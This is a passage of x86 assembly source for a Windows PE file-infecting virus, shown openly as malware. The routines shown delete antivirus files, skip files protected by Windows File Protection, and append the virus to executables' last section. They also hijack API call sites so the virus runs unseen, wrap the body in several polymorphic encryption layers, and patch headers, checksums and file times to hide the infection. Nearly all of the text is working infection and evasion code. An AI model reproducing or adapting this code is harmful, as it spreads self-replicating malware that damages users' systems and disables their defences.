file ;============================================================ call FileInfection jmp short DoFindNext NoInterested: loop CheckExtLoop ;============================================================ ;None of our infectable extensions match ;Lets see if this file is an AV related file... ;============================================================ lea esi,dword ptr [ebp+BufStrFilename] mov edi,esi call parse_filename ;Parse and reparse mov esi,edx call get_str_crc32 lea esi,dword ptr [ebp+TblCRC32AV] mov ecx,NumberOfAV CheckAVLoop: lodsd sub eax,edx jnz AvNoMatch ;============================================================ ;AV file found... Reset its attributes and delete it ;============================================================ lea esi,dword ptr [ebp+BufStrFilename] push eax ; 00000000h push esi call dword ptr [ebp+a_SetFileAttributesA] push esi call dword ptr [ebp+a_DeleteFileA] jmp short DoFindNext AvNoMatch: loop CheckAVLoop ;============================================================ ;Before looking for more files lets sleep a while ;============================================================ DoFindNext: mov eax,00000800h call get_rnd_range add eax,00000400h push eax call dword ptr [ebp+a_Sleep] ;============================================================ ;Find next directory or file ;============================================================ push ebx ; lpFindFileData push dword ptr [ebx+FindStack_Ptr2FindHandle] call dword ptr [ebp+a_FindNextFileA] or eax,eax jnz GoFindRecord ErrorFindFirst: mov eax,00002000h call get_rnd_range add eax,00001000h push eax call dword ptr [ebp+a_Sleep] push dword ptr [ebx+FindStack_Ptr2FindHandle] call dword ptr [ebp+a_FindClose] mov esp,ebx add esp,SIZEOF_WIN32_FIND_DATA + 00000004h ret ;============================================================================ ;Infect PE files ; ;On entry: ; BufStrFilename -> Buffer that contains complete path and ; filename ; DirectFindData -> Win32 Find Data structure filled with ; information about the file to infect ;============================================================================ FileInfection: push ebx lea esi,dword ptr [ebp+BufStrFilename] mov edi,esi call parse_filename mov esi,edx ;**************************************************************************** ; mov eax,dword ptr [esi] ; cmp eax,'TAOG' ; jne ExitFileInf ;**************************************************************************** ;============================================================ ;Avoid some files from being infected ;============================================================ CheckFileName: push esi mov ecx,00000002h call get_crc32 lea esi,dword ptr [ebp+avoid_tbl] mov ecx,avoid_num AvoidLoop: lodsd cmp eax,edx jne NextAvoid pop esi jmp ExitFileInf NextAvoid: loop AvoidLoop pop esi lodsb cmp al,'.' jne CheckFileName ;============================================================ ;Check if file is protected by Windows File Protection ;(Windows 2000 only) ;============================================================ cmp dword ptr [ebp+hSFC],00000000h jz NotProtected lea eax,dword ptr [ebp+BufStrFilename] push eax push 00000000h call dword ptr [ebp+a_SfcIsFileProtected] or eax,eax jnz ExitFileInf ;============================================================ ;Try to infect this file ;============================================================ NotProtected: call TryAttach ;============================================================ ;Exit file infection ;============================================================ ExitFileInf: pop ebx ret ;============================================================================ ;Infect file routines ; ;On entry: ; BufStrFilename -> Buffer filled with path + filename ;============================================================================ SEH_Block_0001 macro add esp,-cPushad jnz Ape_err endm ;============================================================ ;Open target file for read-only access ;============================================================ TryAttach: call FileMapRO or eax,eax jz inf_file_err ;============================================================ ;Register ebx contains the base address of the target file ;all along infection routines ;============================================================ mov ebx,eax ;============================================================ ;Check for MZ signature at base address ;============================================================ cld cmp word ptr [ebx],IMAGE_DOS_SIGNATURE jne inf_close_file ;============================================================ ;Check file address of relocation table ;============================================================ cmp word ptr [ebx+MZ_lfarlc],0040h jb inf_close_file ;============================================================ ;Now go to the pe header and check for the PE signature ;============================================================ mov esi,dword ptr [ebx+MZ_lfanew] mov eax,dword ptr [ebp+FileSizeOnDisk] shr eax,01h cmp esi,eax jae inf_close_file add esi,ebx lodsd cmp eax,IMAGE_NT_SIGNATURE jne inf_close_file ;============================================================ ;Check machine field in IMAGE_FILE_HEADER ;just allow i386 PE files ;============================================================ cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386 jne inf_close_file ;============================================================ ;Now check the characteristics, look if file ;is an executable ;============================================================ mov ax,word ptr [esi+FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \ IMAGE_FILE_32BIT_MACHINE jz inf_close_file ;============================================================ ;Avoid DLL's ;============================================================ ; Removed to allow .CPL infection ; ; test ax,IMAGE_FILE_DLL ; jnz inf_close_file ;============================================================ ;Virus resides on last section ;============================================================ call get_last_sh jecxz inf_close_file ;============================================================ ;Check subsystem, only GUI applications allowed ;============================================================ movzx eax,word ptr [esi+OH_Subsystem] cmp eax,IMAGE_SUBSYSTEM_WINDOWS_GUI jne inf_close_file ;============================================================ ;Save RVA of last section ;============================================================ mov eax,edi sub eax,ebx mov dword ptr [ebp+virus_sh],eax ;============================================================ ;This is an attempt to avoid offending PE file formats ;============================================================ mov eax,dword ptr [edi+SH_PointerToRawData] add eax,dword ptr [edi+SH_SizeOfRawData] add eax,dword ptr [esi+OH_FileAlignment] cmp eax,dword ptr [ebp+FileSizeOnDisk] jb inf_close_file ;============================================================ ;Save a pointer to imports ;============================================================ mov eax,dword ptr [esi+ \ OH_DataDirectory+ \ DE_Import+ \ DD_VirtualAddress] mov dword ptr [ebp+FileImport],eax ;============================================================ ;Go to relocations ;============================================================ mov eax,dword ptr [esi+ \ OH_DataDirectory+ \ DE_BaseReloc+ \ DD_VirtualAddress] or eax,eax jz cant_overwrite ;============================================================ ;Relocations section is the last section? ;============================================================ sub eax,dword ptr [edi+SH_VirtualAddress] jz got_vir_offset ;============================================================ ;We cant overwrite relocations... ;...lets attach the virus to the end of last section ;============================================================ cant_overwrite: mov eax,dword ptr [edi+SH_SizeOfRawData] mov edx,dword ptr [edi+SH_VirtualSize] cmp eax,edx jae got_vir_offset mov eax,edx got_vir_offset: add eax,dword ptr [edi+SH_PointerToRawData] mov dword ptr [ebp+vir_offset],eax ;============================================================ ;Search inside host code... ;============================================================ @SEH_SetupFrame xor ecx,ecx pushad call DoEPO mov dword ptr [esp+Pushad_ecx],ecx Ape_err: popad @SEH_RemoveFrame jecxz inf_close_file mov dword ptr [ebp+inject_offs],ecx ;============================================================ ;Close file... ;============================================================ call FileUnmapRO ;============================================================ ;...and remap with oversize ;============================================================ call FileMapRW or eax,eax jz inf_file_err add dword ptr [ebp+virus_sh],eax mov ebx,eax ;============================================================ ;Move virus to file ;============================================================ lea esi,dword ptr [ebp+viro_sys] mov edi,dword ptr [ebp+vir_offset] add edi,ebx push edi mov ecx,inf_size cld rep movsb ;============================================================ ;Save original code ;============================================================ mov esi,dword ptr [ebp+inject_offs] add esi,ebx pop edi push edi add edi,org_code-viro_sys cld movsb movsd ;============================================================ ;Save some registers on 1st decryptor ;============================================================ mov ecx,00000004h push ecx lea edi,dword ptr [ebp+TblStdPshP] cld CleanStdLoop: mov eax,00000004h sub eax,ecx stosd loop CleanStdLoop pop ecx push ecx lea edi,dword ptr [ebp+PshPStepIndex] GenTblStdLoop: mov eax,00000004h call get_rnd_range lea esi,dword ptr [ebp+TblStdPshP+eax*04h] lodsd cmp eax,0FFFFFFFFh jz GenTblStdLoop stosd mov dword ptr [esi-00000004h],0FFFFFFFFh loop GenTblStdLoop pop ecx lea esi,dword ptr [ebp+PshPStepIndex] pop edi push edi add edi,TblDoPolyPops-viro_sys DoPolyPopsLoop: lodsd lea edx,dword ptr [ebp+eax+TblDoPop] mov al,byte ptr [edx] stosb loop DoPolyPopsLoop ;============================================================ ;Prepare first decryptor mark ;============================================================ mov byte ptr [ebp+IsFirst],cl ;============================================================ ;Initialize size of all decryptors ;============================================================ mov dword ptr [ebp+decryptor_size],ecx ;============================================================ ;Get CRC32 of main virus body and save it for l8r use ;============================================================ pop esi push esi add esi,CRC_protected-viro_sys mov ecx,SizeOfProtect call get_crc32 pop edi mov dword ptr [edi+ViralChecksum-viro_sys],edx ;============================================================ ;Generate polymorphic encryption ;============================================================ add edi,inf_size mov edx,dword ptr [ebp+vir_offset] mov eax,NUMBER_OF_POLY_LAYERS call get_rnd_range inc eax inc eax mov ecx,eax each_layer: push ecx cmp ecx,00000001h jne Set1stFlag mov dword ptr [ebp+IsFirst],0FFh Set1stFlag: mov ecx,dword ptr [ebp+decryptor_size] add ecx,inf_size mov esi,dword ptr [ebp+vir_offset] call Mutate add dword ptr [ebp+decryptor_size],ecx pop ecx loop each_layer ;============================================================ ;Insert a call to virus code over the api call ;============================================================ mov edi,dword ptr [ebp+inject_offs] add edi,ebx mov al,0E8h stosb push edi ;============================================================ ;Calculate the CALL displacement ;============================================================ call get_code_sh mov eax,dword ptr [esi+OH_FileAlignment] mov dword ptr [ebp+raw_align],eax mov eax,dword ptr [ebp+inject_offs] sub eax,dword ptr [edi+SH_PointerToRawData] add eax,dword ptr [edi+SH_VirtualAddress] push eax mov eax,dword ptr [ebp+entry_point] sub eax,00000005h sub eax,ebx mov edi,dword ptr [ebp+virus_sh] sub eax,dword ptr [edi+SH_PointerToRawData] add eax,dword ptr [edi+SH_VirtualAddress] pop edx sub eax,edx pop edi stosd mov edi,dword ptr [ebp+virus_sh] ;============================================================ ;Set read/write access on virus section ;============================================================ or dword ptr [edi+SH_Characteristics], \ IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE ;============================================================ ;Dont share virus section ;============================================================ and dword ptr [edi+SH_Characteristics], \ not IMAGE_SCN_MEM_SHARED ;============================================================ ;Update SizeOfRawData ;============================================================ mov eax,dword ptr [ebp+vir_offset] add eax,dword ptr [ebp+decryptor_size] add eax,inf_size mov edx,dword ptr [edi+SH_PointerToRawData] mov dword ptr [ebp+fix_size],edx sub eax,edx cmp eax,dword ptr [edi+SH_SizeOfRawData] jbe RawSizeOk ;============================================================ ;If we changed SizeOfRawData round up to nearest ;file alignment ;============================================================ xor edx,edx mov ecx,dword ptr [ebp+raw_align] div ecx inc eax mul ecx mov edx,dword ptr [edi+SH_SizeOfRawData] mov dword ptr [edi+SH_SizeOfRawData],eax sub eax,edx test dword ptr [edi+SH_Characteristics], \ IMAGE_SCN_CNT_INITIALIZED_DATA jz RawSizeOk add dword ptr [esi+OH_SizeOfInitializedData],eax ;============================================================ ;Update VirtualSize ;============================================================ RawSizeOk: mov eax,dword ptr [edi+SH_SizeOfRawData] add dword ptr [ebp+fix_size],eax add eax,size_virtual-inf_size cmp eax,dword ptr [edi+SH_VirtualSize] jbe VirtualSizeOk mov dword ptr [edi+SH_VirtualSize],eax ;============================================================ ;Update SizeOfImage ;============================================================ VirtualSizeOk: mov eax,dword ptr [edi+SH_VirtualAddress] add eax,dword ptr [edi+SH_VirtualSize] xor edx,edx mov ecx,dword ptr [esi+OH_SectionAlignment] div ecx inc eax mul ecx mov dword ptr [esi+OH_SizeOfImage],eax ;============================================================ ;Find any data directory entry pointing to last section ;============================================================ mov ecx,IMAGE_NUMBEROF_DIRECTORY_ENTRIES lea edx,dword ptr [esi+OH_DataDirectory] FDataPtr2Last: mov eax,dword ptr [edx] cmp eax,dword ptr [edi+SH_VirtualAddress] jne NextFDataPtr mov eax,dword ptr [edi+SH_VirtualSize] mov dword ptr [edx+00000004h],eax jmp short DoneFDataPtr NextFDataPtr: add edx,00000008h loop FDataPtr2Last ;============================================================ ;Clear BASE RELOCATION field ;============================================================ DoneFDataPtr: xor eax,eax lea edi,dword ptr [esi+ \ OH_DataDirectory+ \ DE_BaseReloc+ \ DD_VirtualAddress] cld stosd stosd ;============================================================ ;Compute new file checksum and update it on PE header ;============================================================ mov eax,dword ptr [ebp+fix_size] mov ecx,SIZE_PADDING xor edx,edx div ecx inc eax mul ecx push eax cmp dword ptr [ebp+hIMGHLP],00000000h jz NoChecksum mov byte ptr [ebx+eax],00h mov edx,eax lea esi,dword ptr [ebp+ChecksumPE] push esi ; CheckSum lodsd push esi ; HeaderSum push edx ; FileLength push ebx call dword ptr [ebp+a_CheckSumMappedFile] or eax,eax jz NoChecksum cmp dword ptr [esi],00000000h jz NoChecksum mov edx,dword ptr [esi-00000004h] mov dword ptr [eax+ \ NT_OptionalHeader.OH_CheckSum],edx ;============================================================ ;Mark file as infected and optimize file size ;============================================================ NoChecksum: pop eax mov dword ptr [ebp+FatSize],eax call FileUnmapRW ret ;============================================================ ;Close file mapping ;============================================================ inf_close_file: call FileUnmapRO inf_file_err: ret ;============================================================================ ;Scan host code ; ;On entry: ; ebx -> Memory image base address ;Exit: ; ecx -> Inject point offset in file ; or NULL if error ;============================================================================ DoEPO: mov edx,dword ptr [ebp+FileImport] call RVA2RAW mov dword ptr [ebp+ImportSH],edi call get_code_sh jecxz ExitApe mov eax,dword ptr [esi+OH_ImageBase] mov dword ptr [ebp+host_base],eax sub edx,dword ptr [edi+SH_VirtualAddress] mov ecx,dword ptr [edi+SH_SizeOfRawData] sub ecx,edx add edx,dword ptr [edi+SH_PointerToRawData] ;Entry-point RAW lea esi,dword ptr [ebx+edx] search_call: push ecx xor eax,eax lodsb cmp al,0E8h ;Api call generated by Borland Linker? je try_borland cmp al,0FFh ;Api call generated by Microsoft Linker? je try_microsoft err_api_call: pop ecx loop search_call ExitApe: ret try_borland: mov eax,esi add eax,dword ptr [esi] ;Go to refered address sub eax,ebx ;Convert to rva mov edx,dword ptr [edi+SH_VirtualAddress] cmp eax,edx jb err_api_call ;Below code? add edx,dword ptr [edi+SH_VirtualSize] cmp eax,edx jae err_api_call ;Above code? cmp word ptr [eax+ebx-00000002h],25FFh ;JMP DWORD PTR [xxxx] jne err_api_call push dword ptr [eax+ebx] pop eax sub eax,dword ptr [ebp+host_base] ;Get a RVA again mov edx,dword ptr [ebp+ImportSH] mov ecx,dword ptr [edx+SH_VirtualAddress] cmp eax,ecx jb err_api_call ;Below imports? add ecx,dword ptr [edx+SH_VirtualSize] cmp eax,ecx jae err_api_call ;Above imports? sub eax,dword ptr [edx+SH_VirtualAddress] add eax,dword ptr [edx+SH_PointerToRawData] push dword ptr [eax+ebx] pop eax mov edx,dword ptr [ebp+ImportSH] mov ecx,dword ptr [edx+SH_VirtualAddress] cmp eax,ecx jb err_api_call ;Below imports? add ecx,dword ptr [edx+SH_VirtualSize] cmp eax,ecx jae err_api_call ;Above imports? found_place: ;Use this point? or better continue the search? call get_rnd_range test eax,01h jz err_api_call pop eax mov ecx,esi dec ecx sub ecx,ebx ret try_microsoft: cmp byte ptr [esi],15h jne err_api_call mov eax,dword ptr [esi+00000001h] sub eax,dword ptr [ebp+host_base] mov edx,dword ptr [ebp+ImportSH] mov ecx,dword ptr [edx+SH_VirtualAddress] cmp eax,ecx jb err_api_call ;Below imports? add ecx,dword ptr [edx+SH_VirtualSize] cmp eax,ecx jae err_api_call ;Above imports? sub eax,dword ptr [edx+SH_VirtualAddress] add eax,dword ptr [edx+SH_PointerToRawData] push dword ptr [eax+ebx] pop eax ;If file is binded eax contains the address of the API ;Lets check if eax points to a KERNEL32 API cmp eax,dword ptr [ebp+K32CodeStart] jb inside_import cmp eax,dword ptr [ebp+K32CodeEnd] jb found_place inside_import: mov edx,dword ptr [ebp+ImportSH] mov ecx,dword ptr [edx+SH_VirtualAddress] cmp eax,ecx jb err_api_call ;Below imports? add ecx,dword ptr [edx+SH_VirtualSize] cmp eax,ecx jae err_api_call ;Above imports? jmp found_place ;============================================================================ ;SEH handling routines coded by Jacky Qwerty / 29A ;============================================================================ SEH_Frame: sub edx,edx push dword ptr fs:[edx] mov fs:[edx],esp jmp [esp.(02h*Pshd).RetAddr] SEH_RemoveFrame:push 00000000h pop edx pop dword ptr [esp.(02h*Pshd).RetAddr] pop dword ptr fs:[edx] pop edx ret (Pshd) SEH_SetupFrame: call SEH_Frame mov eax,[esp.EH_ExceptionRecord] test byte ptr [eax.ER_ExceptionFlags], \ EH_UNWINDING or EH_EXIT_UNWIND mov eax,dword ptr [eax.ER_ExceptionCode] jnz SEH_Search add eax,-EXCEPTION_ACCESS_VIOLATION jnz SEH_Search mov esp,dword ptr [esp.EH_EstablisherFrame] mov dword ptr fs:[eax],esp jmp dword ptr [esp.(02h*Pshd).Arg1] SEH_Search: xor eax,eax ret ;============================================================================ ;FileMapRO open and map a file for read-only access ; ;On entry: ; BufStrFilename -> Buffer filled with path + filename ;Exit: ; eax -> Base address of memory map for file or null if error ;============================================================================ ;============================================================ ;GetFileAttributes ;============================================================ FileMapRO: lea esi,dword ptr [ebp+BufStrFilename] push esi ; lpFileName call dword ptr [ebp+a_GetFileAttributesA] cmp eax,0FFFFFFFFh jne FileGetAttrOk FileGetAttrErr: xor eax,eax ret ;============================================================ ;CreateFile ( GENERIC_READ ) ;============================================================ FileGetAttrOk: mov dword ptr [ebp+CurFileAttr],eax xor edi,edi push edi ; hTemplateFile push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes push OPEN_EXISTING ; dwCreationDisposition push edi ; lpSecurityAttributes push edi ; dwShareMode push GENERIC_READ ; dwDesiredAccess push esi ; lpFileName call dword ptr [ebp+a_CreateFileA] cmp eax,INVALID_HANDLE_VALUE je FileGetAttrErr ;============================================================ ;CreateFileMapping ( PAGE_READONLY ) ;============================================================ mov dword ptr [ebp+h_CreateFile],eax push edi ; lpName push edi ; dwMaximumSizeLow push edi ; dwMaximumSizeHigh push PAGE_READONLY ; flProtect push edi ; lpFileMappingAttributes push dword ptr [ebp+h_CreateFile] ; hFile call dword ptr [ebp+a_CreateFileMappingA] or eax,eax jnz OkFileMappingRO ErrFileMapRO: push dword ptr [ebp+h_CreateFile] call dword ptr [ebp+a_CloseHandle] jmp FileGetAttrErr ;============================================================ ;MapViewOfFile ;============================================================ OkFileMappingRO:mov dword ptr [ebp+h_FileMap],eax push edi ; dwNumberOfBytesToMap push edi ; dwFileOffsetLow push edi ; dwFileOffsetHigh push FILE_MAP_READ ; dwDesiredAccess push eax ; hFileMappingObject call dword ptr [ebp+a_MapViewOfFile] or eax,eax jnz FileViewOkRO FileViewErrorRO:push dword ptr [ebp+h_FileMap] call dword ptr [ebp+a_CloseHandle] jmp ErrFileMapRO ;============================================================ ;Ready! ;============================================================ FileViewOkRO: mov dword ptr [ebp+map_is_here],eax ret ;============================================================ ;UnmapRO ;============================================================ FileUnmapRO: push ebx call dword ptr [ebp+a_UnmapViewOfFile] jmp FileViewErrorRO ;============================================================================ ;FileMapRW open and map a file for read and write access ; ;On entry: ; BufStrFilename -> Buffer filled with path + filename ;Exit: ; eax -> Base address of memory map for file or null if error ;============================================================================ ;============================================================ ;Calculate size of infected file ;============================================================ FileMapRW: mov eax,dword ptr [ebp+vir_offset] add eax,( size_virtual * 02h ) + \ ( NUMBER_OF_POLY_LAYERS * 00004000h ) mov ecx,SIZE_PADDING xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+FatSize],eax ;============================================================ ;SetFileAttributes ;============================================================ lea esi,dword ptr [ebp+BufStrFilename] push FILE_ATTRIBUTE_NORMAL ; dwFileAttributes push esi ; lpFileName call dword ptr [ebp+a_SetFileAttributesA] or eax,eax jnz FileSetAttrOk FileSetAttrErr: xor eax,eax ret ;============================================================ ;CreateFile ( GENERIC_READ or GENERIC_WRITE ) ;============================================================ FileSetAttrOk: xor edi,edi mov dword ptr [ebp+map_is_here],edi push edi ; hTemplateFile push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes push OPEN_EXISTING ; dwCreationDisposition push edi ; lpSecurityAttributes push edi ; dwShareMode push GENERIC_READ or GENERIC_WRITE ; dwDesiredAccess push esi ; lpFileName call dword ptr [ebp+a_CreateFileA] cmp eax,INVALID_HANDLE_VALUE jne FileOpenOkRW FileOpenErrorRW:lea esi,dword ptr [ebp+BufStrFilename] ; Need for reverse! push dword ptr [ebp+CurFileAttr] ; dwFileAttributes push esi ; lpFileName call dword ptr [ebp+a_SetFileAttributesA] jmp FileSetAttrErr ;============================================================ ;CreateFileMapping ( PAGE_READWRITE ) ;============================================================ FileOpenOkRW: mov dword ptr [ebp+h_CreateFile],eax push edi ; lpName push dword ptr [ebp+FatSize] ; dwMaximumSizeLow push edi ; dwMaximumSizeHigh push PAGE_READWRITE ; flProtect push edi ; lpFileMappingAttributes push eax ; hFile call dword ptr [ebp+a_CreateFileMappingA] or eax,eax jnz FileMapOkRW FileMapErrorRW: cmp dword ptr [ebp+map_is_here],edi jz FileSizeIsOk mov esi,dword ptr [ebp+h_CreateFile] xor eax,eax push eax ; dwMoveMethod push eax ; lpDistanceToMoveHigh push dword ptr [ebp+FatSize] ; lDistanceToMove push esi ; hFile call dword ptr [ebp+a_SetFilePointer] cmp eax,0FFFFFFFFh je FileSizeIsOk push esi ; hFile call dword ptr [ebp+a_SetEndOfFile] lea edx,dword ptr [ebp+FT_LastWriteTime] push edx sub edx,00000008h push edx sub edx,00000008h push edx push esi call dword ptr [ebp+a_SetFileTime] FileSizeIsOk: push dword ptr [ebp+h_CreateFile] call dword ptr [ebp+a_CloseHandle] jmp FileOpenErrorRW ;============================================================ ;MapViewOfFile ;============================================================ FileMapOkRW: mov dword ptr [ebp+h_FileMap],eax push dword ptr [ebp+FatSize] ; dwNumberOfBytesToMap push edi ; dwFileOffsetLow push edi ; dwFileOffsetHigh push FILE_MAP_WRITE ; dwDesiredAccess push eax ; hFileMappingObject call dword ptr [ebp+a_MapViewOfFile] or eax,eax jnz FileViewOkRW FileViewErrorRW:push dword ptr [ebp+h_FileMap] call dword ptr [ebp+a_CloseHandle] jmp FileMapErrorRW FileViewOkRW: mov dword ptr [ebp+map_is_here],eax ret ;============================================================ ;UnmapRW ;============================================================ FileUnmapRW: push ebx call dword ptr [ebp+a_UnmapViewOfFile] jmp FileViewErrorRW ;============================================================================ ;Convert RVA to RAW ; ;On entry: ; ebx -> Host base address ; edx -> RVA to convert ;On exit: ; ecx -> Pointer to RAW data or NULL if error ; edx -> Section delta offset ; esi -> Pointer to IMAGE_OPTIONAL_HEADER ; edi -> Pointer to section header ;============================================================================ RVA2RAW: cld mov dword ptr [ebp+search_raw],edx mov esi,dword ptr [ebx+MZ_lfanew] add esi,ebx lodsd movzx ecx,word ptr [esi+FH_NumberOfSections] jecxz err_RVA2RAW movzx edi,word ptr [esi+FH_SizeOfOptionalHeader] add esi,IMAGE_SIZEOF_FILE_HEADER add edi,esi ;============================================================ ;Get the IMAGE_SECTION_HEADER that contains RVA ; ;At this point: ; ;ebx -> File base address ;esi -> Pointer to IMAGE_OPTIONAL_HEADER ;edi -> Pointer to first section header ;ecx -> Number of sections ; ;Check if address of imports directory is inside this ;section ;============================================================ s_img_section: mov eax,dword ptr [ebp+search_raw] mov edx,dword ptr [edi+SH_VirtualAddress] sub eax,edx cmp eax,dword ptr [edi+SH_VirtualSize] jb section_ok ;============================================================ ;Go to next section header ;============================================================ out_of_section: add edi,IMAGE_SIZEOF_SECTION_HEADER loop s_img_section err_RVA2RAW: ret ;============================================================ ;Get raw ;============================================================ section_ok: mov ecx,dword ptr [edi+SH_PointerToRawData] sub edx,ecx add ecx,eax add ecx,ebx ret ;============================================================================ ;Get code section header and entry-point information ; ;On entry: ; ebx -> Host base address ;On exit: ; ecx -> Pointer to RAW data or NULL if error ; edx -> Entry-point RVA ; esi -> Pointer to IMAGE_OPTIONAL_HEADER ; edi -> Pointer to section header ;============================================================================ get_code_sh: call get_last_sh mov edx,dword ptr [esi+OH_AddressOfEntryPoint] push edx call RVA2RAW pop edx ret ;============================================================================ ;Get pointer to last section header ; ;On entry: ; ebx -> Host base address ;On exit: ; esi -> IMAGE_OPTIONAL_HEADER ; edi -> Pointer to last section header ;============================================================================ get_last_sh: push ecx mov esi,dword ptr [ebx+MZ_lfanew] add esi,ebx cld lodsd movzx ecx,word ptr [esi+FH_NumberOfSections] dec ecx mov eax,IMAGE_SIZEOF_SECTION_HEADER mul ecx movzx edx,word ptr [esi+FH_SizeOfOptionalHeader] add esi,IMAGE_SIZEOF_FILE_HEADER add eax,edx add eax,esi mov edi,eax pop ecx ret ;============================================================================ ;Generate data area suitable for memory write access ; ; edi -> Base address ; ecx -> Size ;============================================================================ gen_data_area: push eax push edx movzx eax,byte ptr [ebp+NumberOfDataAreas] cmp eax,NUM_DA jae no_more_da lea edx,dword ptr [ebp+tbl_data_area+eax*08h] mov eax,edi sub eax,dword ptr [ebp+map_is_here] add eax,dword ptr [ebp+host_base] push ecx mov ecx,dword ptr [ebp+virus_sh] sub eax,dword ptr [ecx+SH_PointerToRawData] add eax,dword ptr [ecx+SH_VirtualAddress] mov dword ptr [edx],eax pop ecx mov dword ptr [edx+00000004h],ecx inc byte ptr [ebp+NumberOfDataAreas] no_more_da: pop edx pop eax ret ;============================================================================ ;Generate a block of random data ;============================================================================ gen_rnd_block: mov eax,0000000Ah mov ecx,eax call get_rnd_range add ecx,eax call gen_data_area rnd_fill: mov eax,dword ptr [ebp+FileSizeOnDisk] dec eax sub eax,ecx call get_rnd_range add eax,dword ptr [ebp+map_is_here] mov esi,eax cld rep movsb ret ;============================================================================ ;Linear congruent pseudorandom number generator ;============================================================================ get_rnd32: push ecx push edx mov eax,dword ptr [ebp+rnd32_seed] mov ecx,41C64E6Dh mul ecx add eax,00003039h and eax,7FFFFFFFh mov dword ptr [ebp+rnd32_seed],eax pop edx pop ecx ret ;============================================================================ ;Returns a random num between 0 and entry eax ;============================================================================ get_rnd_range: push ecx push edx mov ecx,eax call get_rnd32 xor edx,edx div ecx mov eax,edx pop edx pop ecx ret ;============================================================================ ;Perform encryption ;============================================================================ ;============================================================ ;This buffer will contain the code to "crypt" the virus code ;followed by a RET instruction ;============================================================ perform_crypt: db 10h dup (90h) ;============================================================================ ;Generate decryptor action: Load pointer ; ;We dont need to get delta-offset, this virus assumes fixed load address ;============================================================================ gen_load_ptr: mov al,0B8h or al,byte ptr [ebp+index_mask] stosb mov eax,dword ptr [ebp+host_base] add eax,dword ptr [ebp+PtrToCrypt] add eax,dword ptr [ebp+ptr_disp] mov edx,dword ptr [ebp+virus_sh] sub eax,dword ptr [edx+SH_PointerToRawData] add eax,dword ptr [edx+SH_VirtualAddress] test byte ptr [ebp+build_flags],CRYPT_DIRECTION jz fix_dir_ok push eax ;Fix upon direction call fixed_size2ecx xor eax,eax mov al,byte ptr [ebp+oper_size] push eax mul ecx pop ecx sub eax,ecx pop ecx add eax,ecx fix_dir_ok: stosd ret ;============================================================================ ;Generate decryptor action: Load counter ;============================================================================ ;============================================================ ;Easy now, just move counter random initial value ;into counter reg and calculate the end value ;============================================================ gen_load_ctr: mov al,0B8h or al,byte ptr [ebp+counter_mask] stosb call fixed_size2ecx call get_rnd32 stosd test byte ptr [ebp+build_flags],CRYPT_CDIR jnz counter